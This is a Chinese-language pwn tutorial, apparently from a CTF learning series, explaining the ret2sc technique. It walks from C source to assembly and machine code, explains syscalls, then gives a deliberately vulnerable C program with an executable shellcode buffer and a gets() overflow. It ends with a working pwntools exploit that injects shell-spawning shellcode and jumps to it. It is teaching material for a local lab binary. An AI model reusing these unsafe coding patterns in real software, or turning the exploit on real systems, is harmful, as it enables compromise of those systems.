先前說的buffer overflow是利用緩衝區溢位去call到不該被執行的function進而get shell,那現在我們需要知道要如何在沒有backdoor的情況下get shell,所以我接下來要介紹ret2sc是怎麼運作以及它的基本原理
source code
:#include <stdio.h>
int main() {
puts("Hello World!");
return 0;
}
編譯器輸出的組合碼(compiler)assembly
:
push %rbp
mov %rsp, %rbp
lea 0xeac(%rip), %rax
mov %rax, %rdi
call 1050 puts@plt
mov $0x0, %eax
pop %rbp
ret
組譯器產生的機器碼(assembler)machine code
:
55
48 89 e5
48 8d 05 ac 0e 00 00
48 89 c7
e8 f0 fe ff ff
b8 00 00 00 00
5d
c3
Syscall是用戶程式與作業系統核心溝通的接口。用戶程式無法直接操作硬體,需透過syscall請求kernel執行檔案讀寫、網路連線等需要高權限的操作。每個 syscall 有編號,用戶程式透過特定指令(如 x86-64 的 syscall)呼叫,kernel 執行後回傳結果
pwntools
內建的shellcraft來源: https://ithelp.ithome.com.tw/m/articles/10357946
#include<stdio.h>
#include <unistd.h>
#include <sys/mman.h>
char shellcode[0x100];
int main(){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
unsigned long addr = (unsigned long)&shellcode & ~0xfff;
mprotect((void *)addr, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE);
printf("Give me shellcode: ");
read(0, shellcode, 0x100);
printf("Overflow me: ");
char buffer[0x10];
gets(buffer);
printf("Bye!\n");
return 0;
}
makefile:
sc: sc.c
gcc sc.c -o sc -fno-stack-protector -no-pie
checksec:
接下來我們可以看到它的兩個讀取內容分別是給shellcode和做buffer overflow
那我們要buffer overflow甚麼呢?
我們需要把shellcode的地址先找出來
我們可以發現shellcode位於404080
於是我們可以寫出以下exp
exploit.py:
from pwn import *
context.arch = 'amd64' # 要記得設定架構,不然沒辦法開shell
r = process('./sc')
shellcode = asm(shellcraft.sh())
r.sendlineafter(b': ', shellcode)
payload = b'a' * 40 + p64(0x404080)
r.sendlineafter(b': ', payload)
r.sendline(b'cat gay.txt')
r.interactive()
Pwned!